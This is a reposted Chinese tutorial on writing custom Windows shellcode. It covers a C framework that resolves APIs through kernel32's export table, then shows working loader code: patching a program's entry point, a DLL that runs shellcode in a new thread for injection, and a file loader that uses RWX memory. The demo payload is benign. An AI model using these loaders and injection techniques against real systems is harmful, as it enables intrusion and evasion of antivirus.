0

0

shellcode是什么意思

王林

王林

发布时间:2023-05-28 15:01:59

|

4290人浏览过

|

来源于亿速云

转载

一、shellcode编程前置知识点介绍

shellcode是什么?

shellcode的本质其实就是一段可以自主运行的汇编代码,它没有任何文件结构,它不依赖任何编译环境,无法像exe一样双击运行。我在这里不再赘述具体的shellcode,你们可以自行在百度上搜索相关信息。

为什么要自己编写shellcode?

因为最近半年做渗透比较多,使用的shellcode也都是CS或MSF生成的,但是工具自动生成的shellcode毕竟是死的,没办法自己扩展功能,再比如你知道一个新的漏洞,但是给的漏洞利用poc只能弹出个计算器,想要实现自己想要功能的shellcode就必须自己编写,因此掌握Shellcode编写技术就显得尤为重要,并且在缓冲区溢出和蠕虫病毒上面shellcode也是必不可少的重要角色。

shellcode编写遇到的问题

想要自己编写shellcode,前提是必须知道shellcode编写中最重要的几个知识点,下面我会以问题的形式把需要解决的几个点列一下:

1.Shellcode也是一段程序,如果想正常运行也需要用到各种各样的数据(例如全局的字符串等),但是我们都知道全局变量的访问都是固定地址(硬编码,也就是写死的,没办法改变的),而我们的shellcode可能会被安排运行在任何程序的任何位置,我们要怎样保证shellcode在这种情况下还能准确无误的访问到所需的数据呢?

2.Shellcode也是运行在操作系统里的,必然需要调用一些系统的API,我们要怎样才能得到这些API的地址呢?

3.如果Shellcode运行的程序中没有导入我们所需的API,而我们又必须要使用它,我们该怎么办呢?

因为篇幅原因这些问题的答案大家可以从FB资深作者Rabbit_Run翻译的《Windows平台shellcode开发入门一、二、三》三篇文章中寻找寻找答案,基本上把shellcode编写需要了解的前置知识都涉及了,大家可以带着问题去寻找答案。

二、shellcode编程框架介绍

shellcode编程框架:

在知道了这些前置知识之后大家如果纯手写shellcode的话还是比较麻烦和困难得,就像写原生的js代码远不如使用jquery等js框架方便且开发快速。因此,我们需要建立一个方便编写自定义功能的shellcode编程框架。现在网上很多这种shellcode编程框架,比如TK以前开源的一款、OneBugMan老师以前写过的2款等等,我之前在学校学习的时候自己写过一个shellcode编程框架但是已经找不到了,而且搞渗透的这段时间以前的知识忘了很多了,所以就参照OneBugMan老师的课程(有兴趣的可以去支持一下老师讲的公开课,讲的很好)写了一个shellcode框架实践了一下。

框架结构介绍

shellcode是什么意思

                                                                图1 框架结构图

在VS2015中,我们使用win32空项目进行本次工程创建,并选择relase/x86配置进行编译。在编译之前,我们要进行如下设置:

1.创建工程时关闭SDL检查

2.属性->C/C++->代码生成->运行库->多线程 (/MT)如果是debug则设置成MTD

3.属性->常规->平台工具集->设置为Visual Studio 2015- Windows XP (v140_xp),如果没有则可以去安装上对应的兼容xp的组件

4.属性->C/C++->代码生成->禁用安全检查GS

5.关闭生成清单 属性->链接器->清单文件->生成清单 选择否

下面介绍一下每个文件的作用:

1.api.h——>shellcode所用到系统函数的函数指针,以及一个结构体里面包含了这些函数指针。

2.header.h——>头文件及自定义功能函数的函数声明。

3.0.entry.cpp——>框架的入口,创建最后生成的shellcode文件。

4.a.start.cpp——>标记shellcode的开始位置,用来进行shellcode编写前的前置操作和所用到函数的初始化

5.b.work.cpp——>shellcode的执行,具体功能的实现

6.z.end.cpp——>标记shellcode结束位置

之所以文件命名的形式按照这种方式命名是因为按照先数字再字母,按照前后排列的形式,工程内文件这样命名是为了编译生成exe的时候就是按照下图顺序编译生成的,这样生成的exe代码段中函数排列顺序也是按照下图文件中函数顺序排列的,这样我们可以很方便的计算出Shellcode的大小(z.end中的ShellcodeEnd 减去a.start.中的ShellcodeStart就是shellcode的大小),从而把shellcode写入最后生成的文件中。

shellcode是什么意思                                                            图2 编译顺序图

代码详细讲解

0.entry.cpp中主要注意的就是修改函数入口点的名称一定要和自己写的函数名称一致,否则找不到入口点,因为我们修改了入口点所以一些C形式的函数不能直接使用了,要改为动态调用的形式,还有就是我们写入shellcode大小的计算。

shellcode是什么意思

                                                            图3 0.entry.cpp代码

NetShopForge网上商店程序(VB)源码
NetShopForge网上商店程序(VB)源码

NetShopForge是一款强劲的B2C的网上购物软件,利用她我们能建立起强劲的、自由的、安全的购物平台。 维博软件以有这样的软件无比自豪,系统基于ASP.NET 2.0及SqlServer开发,充分享受新技术带来的乐趣。 软件综合了卖家,买家,程序员,设计者的头脑风暴,目的就是用户能建立风格不同的电子商务系统,使它显得更加与众不同。 如果您寻求一款能按您的思想随意发挥的网上购物软件,那么Net

下载

a.start.cpp中主要是实现了编写shellcode最重要的几个前置准备:动态获取kernel32.dll的基质和利用PE文件格式的知识来获取GetProcAddress函数地址,进一步获取LoadLibrary地址,有了这些前置步骤我们才能获取其他任意API的地址,进而实现我们shellcode的各种功能

shellcode是什么意思                                                 图4 获取kernel32.dll基地址

下面是获取GetProcAddress函数地址,之所以GetProcAddress字符串要以下图那种写法是因为如果使用这样写法char str[]="xxxxx";这样会把字符串写到程序中的rdata段,就变成了绝对地址,使用绝对地址会使shellcode执行错误。

FARPROC getProcAddress(HMODULE hModuleBase)
{
    FARPROC pRet = NULL;
    PIMAGE_DOS_HEADER lpDosHeader;
    PIMAGE_NT_HEADERS32 lpNtHeaders;
    PIMAGE_EXPORT_DIRECTORY lpExports;
    PWORD lpwOrd;
    PDWORD lpdwFunName;
    PDWORD lpdwFunAddr;
    DWORD dwLoop;

    lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
    lpNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew);
    if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)
    {
        return pRet;
    }
    if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
    {
        return pRet;
    }
    lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    if (!lpExports->NumberOfNames)
    {
        return pRet;
    }
    lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames);
    lpwOrd = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals);
    lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions);
    for (dwLoop = 0; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++)
    {
        char * pszFunction = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase);
        if (pszFunction[0] == 'G'
            &&pszFunction[1] == 'e'
            &&pszFunction[2] == 't'
            &&pszFunction[3] == 'P'
            &&pszFunction[4] == 'r'
            &&pszFunction[5] == 'o'
            &&pszFunction[6] == 'c'
            &&pszFunction[7] == 'A'
            &&pszFunction[8] == 'd'
            &&pszFunction[9] == 'd'
            &&pszFunction[10] == 'r'
            &&pszFunction[11] == 'e'
            &&pszFunction[12] == 's'
            &&pszFunction[13] == 's')
        {
            pRet = (FARPROC)(lpdwFunAddr[lpwOrd[dwLoop]] + (DWORD)hModuleBase);
            break;
        }
    }
    return pRet;
}
下面的初始化函数部分我们要知道我们使用的函数在哪个dll中,比如我们想要使用system()函数执行命令,我们就要通过下图方式先载入msvCRT.dll,然后再通过getprocaddress函数找到system函数。别忘记system函数中所用的命令字符串(例如调用计算器)也要像char szCalc[] = { 'c','a','l','c',0 };这样写。shellcode是什么意思                                                                    图5 初始化函数

具体功能实现时只需要记住要将函数内所用到的字符串按照下图数组方式声明即可,这里我们写了示例的功能为 弹出一个消息框 提示hello,然后创建一个1.txt文档。

shellcode是什么意思

                                                   图 6 b.work.cpp具体功能实现

三、执行shellcode

框架代码写好之后,我们运行一下会在项目目录里面生成一个sc.bin文件,这个文件中我们使用010Editor打开sc.bin即可看到生成的shellcode。

shellcode是什么意思                                                               图7 生成的shellcode

下面介绍几种shellcode运行方式:

1、(使用010Editor直接复制出来shellcode)直接替换某程序的二进制

例如我们想让dbgview.exe运行我们生成的shellcode

第一步:我们使用lordPE查看dbgview.exe程序的入口点。

shellcode是什么意思

然后使用010Editor打开dbgview.exe找到入口点位置,从入口点位置删除掉我们需要替换进去的shellcode大小的字节,然后替换成我们的shellcode,保存运行即可执行我们的shellcode。

2、把shellcode直接写到代码中生成exe程序运行(源码A)、或者生成dll再写注入器或者使用工具注入到某进程中(源码B)

源码A

#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89........在这里写入shellcode";
void main()
{
    __asm
    {
        mov eax, offset shellcode
        jmp eax
    }
}

源码B

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include<windows.h>
#include<iostream>
//data段可读写
#pragma comment(linker, "/section:.data,RWE") 
HANDLE My_hThread = NULL;
//void(*ptrceshi)() = NULL;
typedef void(__stdcall *CODE) ();
unsigned char shellcode[] = "x00\x49\xbe\x77\x69\x6e\x.........在这里填入shellcode";
DWORD  WINAPI ceshi(LPVOID pParameter)
{
    PVOID p = NULL;
    if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
    {
    }
        if (!(memcpy(p, shellcode, sizeof(shellcode))))
        {
        }
    CODE code = (CODE)p;
    code();
    return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程
    case DLL_THREAD_ATTACH:

    case DLL_THREAD_DETACH:

    case DLL_PROCESS_DETACH:

        break;
    }
    return TRUE;
}
具体操作可以参考我发的上篇文章《shellcode免杀实战里面的步骤》。

3、自己写加载器

我们如果不想复制出来shellcode运行我们也可以直接运行我们生成的sc.bin,不过得需要自己写一个加载器。

代码如下

#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
int main(int argc, char* argv[])
{
    HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Open  File Error!%d\n", GetLastError());
        return -1;
    }
    DWORD dwSize;
    dwSize = GetFileSize(hFile, NULL);

    LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (lpAddress == NULL)
    {
        printf("VirtualAlloc error:%d\n", GetLastError());
        CloseHandle(hFile);
        return -1;

    }
    DWORD dwRead;
    ReadFile(hFile, lpAddress, dwSize, &dwRead, 0);
    __asm
    {
        call lpAddress;

    }
    _flushall();
    system("pause");
    return 0;
}

写好加载器编译生成exe以后我们只需要把sc.bin文件拖到生成的exe上就可以自动运行我们的shellcode,或者使用命令行 >某某.exe sc.bin

4、使用别人写好的加载器

如果大家不想自己写加载器也可以使用别人写好的工具,我以前在看雪上发现一个小工具也挺好用的,这个小工具可以把shellcode转换成字符串形式也可以将字符串形式的shellcode转换成bin文件形式然后再加载运行shellcode。

原帖子链接工具链接

我们可以使用这个工具执行生成的sc.bin文件,只需将该文件拖入工具中,然后点击转换为字符串形式

shellcode是什么意思

这和我们在010Editor中看到的是一样的,相当于帮我们自动复制出来了。

shellcode是什么意思

因为我们生成的sc.bin文件是可以直接执行的,所以就不需要点击转成Bin文件了,所以我们直接点击执行shellcode,弹出了Messagebox窗口,我们点击确定后,又创建了1.txt文档。

shellcode是什么意思

shellcode是什么意思

至此我们就可以根据框架举一反三,编写我们自己功能的shellcode了。

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
Swift iOS架构设计与MVVM模式实战
Swift iOS架构设计与MVVM模式实战

本专题聚焦 Swift 在 iOS 应用架构设计中的实践,系统讲解 MVVM 模式的核心思想、数据绑定机制、模块拆分策略以及组件化开发方法。内容涵盖网络层封装、状态管理、依赖注入与性能优化技巧。通过完整项目案例,帮助开发者构建结构清晰、可维护性强的 iOS 应用架构体系。

3

2026.03.03

C++高性能网络编程与Reactor模型实践
C++高性能网络编程与Reactor模型实践

本专题围绕 C++ 在高性能网络服务开发中的应用展开,深入讲解 Socket 编程、多路复用机制、Reactor 模型设计原理以及线程池协作策略。内容涵盖 epoll 实现机制、内存管理优化、连接管理策略与高并发场景下的性能调优方法。通过构建高并发网络服务器实战案例,帮助开发者掌握 C++ 在底层系统与网络通信领域的核心技术。

12

2026.03.03

Golang 测试体系与代码质量保障:工程级可靠性建设
Golang 测试体系与代码质量保障:工程级可靠性建设

Go语言测试体系与代码质量保障聚焦于构建工程级可靠性系统。本专题深入解析Go的测试工具链(如go test)、单元测试、集成测试及端到端测试实践,结合代码覆盖率分析、静态代码扫描(如go vet)和动态分析工具,建立全链路质量监控机制。通过自动化测试框架、持续集成(CI)流水线配置及代码审查规范,实现测试用例管理、缺陷追踪与质量门禁控制,确保代码健壮性与可维护性,为高可靠性工程系统提供质量保障。

69

2026.02.28

Golang 工程化架构设计:可维护与可演进系统构建
Golang 工程化架构设计:可维护与可演进系统构建

Go语言工程化架构设计专注于构建高可维护性、可演进的企业级系统。本专题深入探讨Go项目的目录结构设计、模块划分、依赖管理等核心架构原则,涵盖微服务架构、领域驱动设计(DDD)在Go中的实践应用。通过实战案例解析接口抽象、错误处理、配置管理、日志监控等关键工程化技术,帮助开发者掌握构建稳定、可扩展Go应用的最佳实践方法。

59

2026.02.28

Golang 性能分析与运行时机制:构建高性能程序
Golang 性能分析与运行时机制:构建高性能程序

Go语言以其高效的并发模型和优异的性能表现广泛应用于高并发、高性能场景。其运行时机制包括 Goroutine 调度、内存管理、垃圾回收等方面,深入理解这些机制有助于编写更高效稳定的程序。本专题将系统讲解 Golang 的性能分析工具使用、常见性能瓶颈定位及优化策略,并结合实际案例剖析 Go 程序的运行时行为,帮助开发者掌握构建高性能应用的关键技能。

46

2026.02.28

Golang 并发编程模型与工程实践:从语言特性到系统性能
Golang 并发编程模型与工程实践:从语言特性到系统性能

本专题系统讲解 Golang 并发编程模型,从语言级特性出发,深入理解 goroutine、channel 与调度机制。结合工程实践,分析并发设计模式、性能瓶颈与资源控制策略,帮助将并发能力有效转化为稳定、可扩展的系统性能优势。

24

2026.02.27

Golang 高级特性与最佳实践:提升代码艺术
Golang 高级特性与最佳实践:提升代码艺术

本专题深入剖析 Golang 的高级特性与工程级最佳实践,涵盖并发模型、内存管理、接口设计与错误处理策略。通过真实场景与代码对比,引导从“可运行”走向“高质量”,帮助构建高性能、可扩展、易维护的优雅 Go 代码体系。

20

2026.02.27

Golang 测试与调试专题:确保代码可靠性
Golang 测试与调试专题:确保代码可靠性

本专题聚焦 Golang 的测试与调试体系,系统讲解单元测试、表驱动测试、基准测试与覆盖率分析方法,并深入剖析调试工具与常见问题定位思路。通过实践示例,引导建立可验证、可回归的工程习惯,从而持续提升代码可靠性与可维护性。

4

2026.02.27

漫蛙app官网链接入口
漫蛙app官网链接入口

漫蛙App官网提供多条稳定入口,包括 https://manwa.me、https

348

2026.02.27

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号